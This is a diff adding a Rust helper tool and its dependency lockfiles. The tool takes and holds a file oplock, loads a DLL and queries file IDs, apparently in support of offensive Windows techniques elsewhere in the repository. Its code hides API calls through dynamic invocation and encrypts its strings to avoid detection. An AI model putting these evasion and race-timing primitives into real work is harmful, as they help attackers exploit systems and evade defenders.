checksum = "ca347214e24bc973fc025fd0d36ebb179ff30536ed1f80252706db19ee452009"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-text"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0cde0dfb48d25d2b4862161a4d5fcc0e3c24367869ad306b0c9ec0073bfed92d"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-core-graphics",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-encode"
|
||||
version = "4.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ef25abbcd74fb2609453eb695bd2f860d389e457f67dc17cafc8b8cbc89d0c33"
|
||||
|
||||
[[package]]
|
||||
name = "objc2-foundation"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e3e0adef53c21f888deb4fa59fc59f7eb17404926ee8a6f59f5df0fd7f9f3272"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"block2",
|
||||
"libc",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-io-surface"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "180788110936d59bab6bd83b6060ffdfffb3b922ba1396b312ae795e1de9d81d"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-quartz-core"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "96c1358452b371bf9f104e21ec536d37a650eb10f7ee379fff67d2e08d537f1f"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-ui-kit"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d87d638e33c06f577498cbcc50491496a3ed4246998a7fbba7ccb98b1e7eab22"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"block2",
|
||||
"objc2",
|
||||
"objc2-cloud-kit",
|
||||
"objc2-core-data",
|
||||
"objc2-core-foundation",
|
||||
"objc2-core-graphics",
|
||||
"objc2-core-image",
|
||||
"objc2-core-location",
|
||||
"objc2-core-text",
|
||||
"objc2-foundation",
|
||||
"objc2-quartz-core",
|
||||
"objc2-user-notifications",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-user-notifications"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9df9128cbbfef73cda168416ccf7f837b62737d748333bfe9ab71c245d76613e"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "object"
|
||||
version = "0.37.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ff76201f031d8863c38aa7f905eca4f53abbfa15f609db4277d44cd8938f33fe"
|
||||
dependencies = [
|
||||
"memchr",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "os_info"
|
||||
version = "3.14.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e4022a17595a00d6a369236fdae483f0de7f0a339960a53118b818238e132224"
|
||||
dependencies = [
|
||||
"android_system_properties",
|
||||
"log",
|
||||
"nix",
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
"objc2-ui-kit",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ppv-lite86"
|
||||
version = "0.2.21"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
|
||||
dependencies = [
|
||||
"zerocopy",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "proc-macro2"
|
||||
version = "1.0.106"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934"
|
||||
dependencies = [
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quote"
|
||||
version = "1.0.44"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "21b2ebcf727b7760c461f091f9f0f539b77b8e87f2fd88131e7f1b433b3cece4"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand"
|
||||
version = "0.8.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"rand_chacha",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_chacha"
|
||||
version = "0.3.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
|
||||
dependencies = [
|
||||
"ppv-lite86",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_core"
|
||||
version = "0.6.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
|
||||
dependencies = [
|
||||
"getrandom",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rustc-demangle"
|
||||
version = "0.1.27"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b50b8869d9fc858ce7266cce0194bd74df58b9d0e3f6df3a9fc8eb470d95c09d"
|
||||
|
||||
[[package]]
|
||||
name = "shlex"
|
||||
version = "1.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
||||
|
||||
[[package]]
|
||||
name = "static_vcruntime"
|
||||
version = "2.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "954e3e877803def9dc46075bf4060147c55cd70db97873077232eae0269dc89b"
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "1.0.109"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "2.0.114"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d4d107df263a3013ef9b1879b0df87d706ff80f65a86ea879bd9c31f9b307c2a"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "synstructure"
|
||||
version = "0.12.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f36bdaa60a83aca3921b5259d5400cbf5e90fc51931376a9bd4a0eb79aa7210f"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 1.0.109",
|
||||
"unicode-xid",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unicode-ident"
|
||||
version = "1.0.22"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9312f7c4f6ff9069b165498234ce8be658059c6728633667c526e27dc2cf1df5"
|
||||
|
||||
[[package]]
|
||||
name = "unicode-xid"
|
||||
version = "0.2.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
|
||||
|
||||
[[package]]
|
||||
name = "utils"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"data",
|
||||
"dinvoke_rs",
|
||||
"litcrypt2",
|
||||
"static_vcruntime",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wasi"
|
||||
version = "0.11.1+wasi-snapshot-preview1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"
|
||||
|
||||
[[package]]
|
||||
name = "widestring"
|
||||
version = "0.4.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c168940144dd21fd8046987c16a46a33d5fc84eec29ef9dcddc2ac9e31526b7c"
|
||||
|
||||
[[package]]
|
||||
name = "winapi"
|
||||
version = "0.3.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
|
||||
dependencies = [
|
||||
"winapi-i686-pc-windows-gnu",
|
||||
"winapi-x86_64-pc-windows-gnu",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "winapi-i686-pc-windows-gnu"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
|
||||
|
||||
[[package]]
|
||||
name = "winapi-x86_64-pc-windows-gnu"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||
|
||||
[[package]]
|
||||
name = "windows"
|
||||
version = "0.62.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "527fadee13e0c05939a6a05d5bd6eec6cd2e3dbd648b9f8e447c6518133d8580"
|
||||
dependencies = [
|
||||
"windows-collections",
|
||||
"windows-core",
|
||||
"windows-future",
|
||||
"windows-numerics",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-collections"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "23b2d95af1a8a14a3c7367e1ed4fc9c20e0a26e79551b1454d72583c97cc6610"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-core"
|
||||
version = "0.62.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb"
|
||||
dependencies = [
|
||||
"windows-implement",
|
||||
"windows-interface",
|
||||
"windows-link",
|
||||
"windows-result",
|
||||
"windows-strings",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-future"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e1d6f90251fe18a279739e78025bd6ddc52a7e22f921070ccdc67dde84c605cb"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
"windows-link",
|
||||
"windows-threading",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-implement"
|
||||
version = "0.60.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.114",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-interface"
|
||||
version = "0.59.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.114",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-link"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
|
||||
|
||||
[[package]]
|
||||
name = "windows-numerics"
|
||||
version = "0.3.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6e2e40844ac143cdb44aead537bbf727de9b044e107a0f1220392177d15b0f26"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-result"
|
||||
version = "0.4.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-strings"
|
||||
version = "0.5.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.61.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-threading"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3949bd5b99cafdf1c7ca86b43ca564028dfe27d66958f2470940f73d86d75b37"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "winproc"
|
||||
version = "0.6.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "979e07b33c6af27e5c454e42d1b946b403ec222e7bad52ef020820708e087b25"
|
||||
dependencies = [
|
||||
"bitflags 1.3.2",
|
||||
"failure",
|
||||
"widestring",
|
||||
"winapi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerocopy"
|
||||
version = "0.8.35"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "fdea86ddd5568519879b8187e1cf04e24fce28f7fe046ceecbce472ff19a2572"
|
||||
dependencies = [
|
||||
"zerocopy-derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerocopy-derive"
|
||||
version = "0.8.35"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0c15e1b46eff7c6c91195752e0eeed8ef040e391cdece7c25376957d5f15df22"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.114",
|
||||
]
|
||||
@@ -0,0 +1,20 @@
|
||||
[package]
|
||||
name = "utils"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
data = { path = "data"}
|
||||
dinvoke_rs = "=0.2.1"
|
||||
litcrypt2 = "=0.1.2"
|
||||
|
||||
[build-dependencies]
|
||||
static_vcruntime = "2.0"
|
||||
|
||||
[dependencies.windows]
|
||||
version = "=0.62"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Storage_FileSystem",
|
||||
"Win32_System_IO",
|
||||
]
|
||||
@@ -0,0 +1,17 @@
|
||||
# Utils
|
||||
|
||||
This Rust project provides small helper utilities used by the repository techniques.
|
||||
|
||||
## Commands
|
||||
|
||||
- `oplock`: Opens a file, requests a level 1 oplock, and waits until another process attempts to open a handle to the file.
|
||||
- `loaddll`: Loads a DLL with `LoadLibrary` and waits for `Enter` before exiting.
|
||||
- `query`: Opens a file and prints its file ID in hexadecimal format.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
utils.exe oplock C:\path\to\file.dll
|
||||
utils.exe loaddll C:\path\to\file.dll
|
||||
utils.exe query C:\path\to\file.dll
|
||||
```
|
||||
@@ -0,0 +1,3 @@
|
||||
fn main() {
|
||||
static_vcruntime::metabuild();
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
[package]
|
||||
name = "data"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
|
||||
[dependencies.windows]
|
||||
version = "=0.62"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Storage_FileSystem",
|
||||
"Win32_System_IO",
|
||||
"Win32_System_Threading",
|
||||
]
|
||||
@@ -0,0 +1,8 @@
|
||||
use windows::Win32::{Foundation::HANDLE, Storage::FileSystem::BY_HANDLE_FILE_INFORMATION};
|
||||
|
||||
pub const ERROR_IO_PENDING: u32 = 997;
|
||||
pub const FSCTL_REQUEST_OPLOCK_LEVEL_1: u32 = 0x00090000;
|
||||
pub const INFINITE: u32 = 4294967295u32;
|
||||
|
||||
pub type WaitForSingleObject = unsafe extern "system" fn (HANDLE, u32) -> u32;
|
||||
pub type GetFileInformationByHandle = unsafe extern "system" fn (HANDLE, *mut BY_HANDLE_FILE_INFORMATION) -> bool;
|
||||
@@ -0,0 +1,273 @@
|
||||
use std::{io::{self, Write}, ptr};
|
||||
use data::{ERROR_IO_PENDING, FSCTL_REQUEST_OPLOCK_LEVEL_1, GetFileInformationByHandle, INFINITE, WaitForSingleObject};
|
||||
use dinvoke_rs::data::{CreateEventW, CreateFileW, DeviceIoControl, FILE_ATTRIBUTE_NORMAL, FILE_FLAG_OVERLAPPED, FILE_SHARE_READ, FILE_SHARE_WRITE, GENERIC_READ, GetOverlappedResult, OPEN_EXISTING};
|
||||
use litcrypt2::{use_litcrypt, lc};
|
||||
use windows::Win32::{Foundation::HANDLE, Storage::FileSystem::BY_HANDLE_FILE_INFORMATION, System::IO::OVERLAPPED};
|
||||
use_litcrypt!();
|
||||
|
||||
fn main()
|
||||
{
|
||||
let exe: String = std::env::args().next().unwrap();
|
||||
let mut args = std::env::args().skip(1);
|
||||
|
||||
let cmd = args.next().unwrap_or_default();
|
||||
match cmd.as_str() {
|
||||
"oplock" => {
|
||||
let path = args.next().unwrap_or_default();
|
||||
if path.is_empty() {
|
||||
print_help(&exe);
|
||||
std::process::exit(1);
|
||||
}
|
||||
oplock_wait(&path)
|
||||
}
|
||||
"loaddll" => {
|
||||
let dll = args.next().unwrap_or_default();
|
||||
if dll.is_empty() {
|
||||
print_help(&exe);
|
||||
std::process::exit(1);
|
||||
}
|
||||
load_dll(&dll)
|
||||
}
|
||||
"query" => {
|
||||
let q = args.next().unwrap_or_default();
|
||||
if q.is_empty() {
|
||||
print_help(&exe);
|
||||
std::process::exit(1);
|
||||
}
|
||||
query_file(&q)
|
||||
}
|
||||
_ => {
|
||||
print_help(&exe);
|
||||
std::process::exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
fn print_help(exe: &str) {
|
||||
println!("{}", &lc!("Usage:"));
|
||||
println!(" {} {}", exe, &lc!(r"oplock C:\path\to\file.dll"));
|
||||
println!(" {} {}", exe, &lc!(r"loaddll C:\path\to\file.dll"));
|
||||
println!(" {} {}", exe, &lc!(r"query C:\path\to\file.dll"));
|
||||
}
|
||||
|
||||
fn oplock_wait(path: &str)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let kernel32 = dinvoke_rs::dinvoke::get_module_base_address(&lc!("kernel32.dll"));
|
||||
if kernel32 == 0 {
|
||||
println!("{}", &lc!(r"[x] kernel32.dll not found."));
|
||||
return;
|
||||
}
|
||||
|
||||
let file_wide_path = dinvoke_rs::utils::str_to_wide_string(path);
|
||||
let function: CreateFileW;
|
||||
let ret: Option<HANDLE>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
kernel32,
|
||||
&lc!("CreateFileW"),
|
||||
function,
|
||||
ret,
|
||||
file_wide_path.as_ptr(),
|
||||
GENERIC_READ,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||
ptr::null_mut(),
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
|
||||
HANDLE::default()
|
||||
);
|
||||
|
||||
let file_handle = ret.unwrap();
|
||||
if file_handle.0 as isize == -1 { // INVALID_HANDLE_VALUE
|
||||
println!("{}{}.", &lc!(r"[x] Failed to open a handle to "), path);
|
||||
return;
|
||||
}
|
||||
|
||||
println!("{}{}.", &lc!("[+] Successfully opened a handle to file "), path);
|
||||
|
||||
let function: CreateEventW;
|
||||
let ret: Option<HANDLE>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
kernel32,
|
||||
&lc!("CreateEventW"),
|
||||
function,
|
||||
ret,
|
||||
ptr::null(),
|
||||
1,
|
||||
0,
|
||||
ptr::null()
|
||||
);
|
||||
|
||||
let hevent = ret.unwrap();
|
||||
if hevent.0 as isize == -1 {
|
||||
println!("{}", &lc!(r"[x] Call to CreateEventW failed."));
|
||||
let _ = dinvoke_rs::dinvoke::close_handle(file_handle);
|
||||
return;
|
||||
}
|
||||
|
||||
println!("{}{:x}.", &lc!("[+] Event created. Handle: "), hevent.0 as usize);
|
||||
|
||||
|
||||
let mut ov: OVERLAPPED = std::mem::zeroed();
|
||||
ov.hEvent = hevent;
|
||||
|
||||
let mut bytes_returned: u32 = 0;
|
||||
|
||||
println!("{}{}...", &lc!("[+] Requesting level 1 oplock on "), path);
|
||||
let function: DeviceIoControl;
|
||||
let ret: Option<bool>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
kernel32,
|
||||
&lc!("DeviceIoControl"),
|
||||
function,
|
||||
ret,
|
||||
file_handle,
|
||||
FSCTL_REQUEST_OPLOCK_LEVEL_1,
|
||||
ptr::null_mut(),
|
||||
0,
|
||||
ptr::null_mut(),
|
||||
0,
|
||||
&mut bytes_returned,
|
||||
&mut ov,
|
||||
);
|
||||
|
||||
if ret.unwrap() {
|
||||
println!("{}", &lc!("[!] DeviceIoControl returned immediate success (unusual). Oplock might not work as expected."));
|
||||
} else {
|
||||
let err = dinvoke_rs::dinvoke::get_last_error();
|
||||
if err != ERROR_IO_PENDING {
|
||||
println!("{}{}.", &lc!("[x] DeviceIoControl returned unexpected error: "), err);
|
||||
let _ = dinvoke_rs::dinvoke::close_handle(hevent);
|
||||
let _ = dinvoke_rs::dinvoke::close_handle(file_handle);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", &lc!("[+] Oplock obtained. Waiting for another process to open a handle to the file..."));
|
||||
|
||||
let function: WaitForSingleObject;
|
||||
let ret: Option<u32>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
kernel32,
|
||||
&lc!("WaitForSingleObject"),
|
||||
function,
|
||||
ret,
|
||||
hevent,
|
||||
INFINITE
|
||||
);
|
||||
|
||||
let wait_res = ret.unwrap();
|
||||
if wait_res != 0 {
|
||||
println!("{}", &lc!(r"[x] Call to WaitForSingleObject failed."));
|
||||
let _ = dinvoke_rs::dinvoke::close_handle(hevent);
|
||||
let _ = dinvoke_rs::dinvoke::close_handle(file_handle);
|
||||
return;
|
||||
}
|
||||
|
||||
let function: GetOverlappedResult;
|
||||
let ret: Option<bool>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
kernel32,
|
||||
&lc!("GetOverlappedResult"),
|
||||
function,
|
||||
ret,
|
||||
file_handle,
|
||||
&mut ov,
|
||||
&mut bytes_returned,
|
||||
false
|
||||
);
|
||||
|
||||
if !ret.unwrap() {
|
||||
let err = dinvoke_rs::dinvoke::get_last_error();
|
||||
println!("{}{}.", &lc!("[!] GetOverlappedResult returned unexpected error: "), err);
|
||||
}
|
||||
|
||||
println!("{}", &lc!("\n[!] Another process has attempted to open the file."));
|
||||
print!("{}", &lc!("[-] Press ENTER to release the oplock and allow access..."));
|
||||
let _ = io::stdout().flush();
|
||||
|
||||
let mut _dummy = String::new();
|
||||
let _ = io::stdin().read_line(&mut _dummy);
|
||||
|
||||
let _ = dinvoke_rs::dinvoke::close_handle(hevent);
|
||||
let _ = dinvoke_rs::dinvoke::close_handle(file_handle);
|
||||
|
||||
println!("{}", &lc!("[+] Oplock released."));
|
||||
}
|
||||
}
|
||||
|
||||
fn load_dll(dll_path: &str)
|
||||
{
|
||||
let dll = dinvoke_rs::dinvoke::load_library_a(dll_path);
|
||||
if dll == 0 {
|
||||
println!("{}", &lc!(r"[x] Call to LoadLibrary failed."));
|
||||
return;
|
||||
}
|
||||
println!("{}0x{:x}.", &lc!("[+] DLL loaded at address "), dll);
|
||||
print!("{}", &lc!("[-] Press ENTER to exit..."));
|
||||
let _ = io::stdout().flush();
|
||||
let mut _dummy = String::new();
|
||||
let _ = io::stdin().read_line(&mut _dummy);
|
||||
}
|
||||
|
||||
fn query_file(path: &str)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let kernel32 = dinvoke_rs::dinvoke::get_module_base_address(&lc!("kernel32.dll"));
|
||||
if kernel32 == 0 {
|
||||
println!("{}", &lc!(r"[x] kernel32.dll not found."));
|
||||
return;
|
||||
}
|
||||
|
||||
let file_wide_path = dinvoke_rs::utils::str_to_wide_string(path);
|
||||
let function: CreateFileW;
|
||||
let ret: Option<HANDLE>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
kernel32,
|
||||
&lc!("CreateFileW"),
|
||||
function,
|
||||
ret,
|
||||
file_wide_path.as_ptr(),
|
||||
GENERIC_READ,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||
ptr::null_mut(),
|
||||
OPEN_EXISTING, // OPEN_EXISTING
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
HANDLE::default()
|
||||
);
|
||||
|
||||
let file_handle = ret.unwrap();
|
||||
if file_handle.0 as isize == -1 { // INVALID_HANDLE_VALUE
|
||||
println!("{}{}.", &lc!(r"[x] Failed to open a handle to "), path);
|
||||
return;
|
||||
}
|
||||
|
||||
let mut info: BY_HANDLE_FILE_INFORMATION = std::mem::zeroed();
|
||||
let function: GetFileInformationByHandle;
|
||||
let ret: Option<bool>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
kernel32,
|
||||
&lc!("GetFileInformationByHandle"),
|
||||
function,
|
||||
ret,
|
||||
file_handle,
|
||||
&mut info
|
||||
);
|
||||
|
||||
let _ = dinvoke_rs::dinvoke::close_handle(file_handle);
|
||||
|
||||
if !ret.unwrap() {
|
||||
println!("{}", &lc!(r"[x] Call to GetFileInformationByHandle failed."));
|
||||
return;
|
||||
}
|
||||
|
||||
// FileIndex = (high<<32) | low
|
||||
let file_id: u64 = ((info.nFileIndexHigh as u64) << 32) | (info.nFileIndexLow as u64);
|
||||
|
||||
// Formato típico tipo fsutil: 0x + 16 hex (padding con ceros)
|
||||
let hex_str = format!("0x{:016x}", file_id);
|
||||
println!("{}{}", &lc!("[+] File ID: "), hex_str);
|
||||
}
|
||||
}
|
||||
Generated
+822
@@ -0,0 +1,822 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "addr2line"
|
||||
version = "0.25.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1b5d307320b3181d6d7954e663bd7c774a838b8220fe0593c86d9fb09f498b4b"
|
||||
dependencies = [
|
||||
"gimli",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "adler2"
|
||||
version = "2.0.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
|
||||
|
||||
[[package]]
|
||||
name = "android_system_properties"
|
||||
version = "0.1.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
|
||||
dependencies = [
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "backtrace"
|
||||
version = "0.3.76"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bb531853791a215d7c62a30daf0dde835f381ab5de4589cfe7c649d2cbe92bd6"
|
||||
dependencies = [
|
||||
"addr2line",
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"miniz_oxide",
|
||||
"object",
|
||||
"rustc-demangle",
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "1.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "2.10.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3"
|
||||
|
||||
[[package]]
|
||||
name = "block2"
|
||||
version = "0.6.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
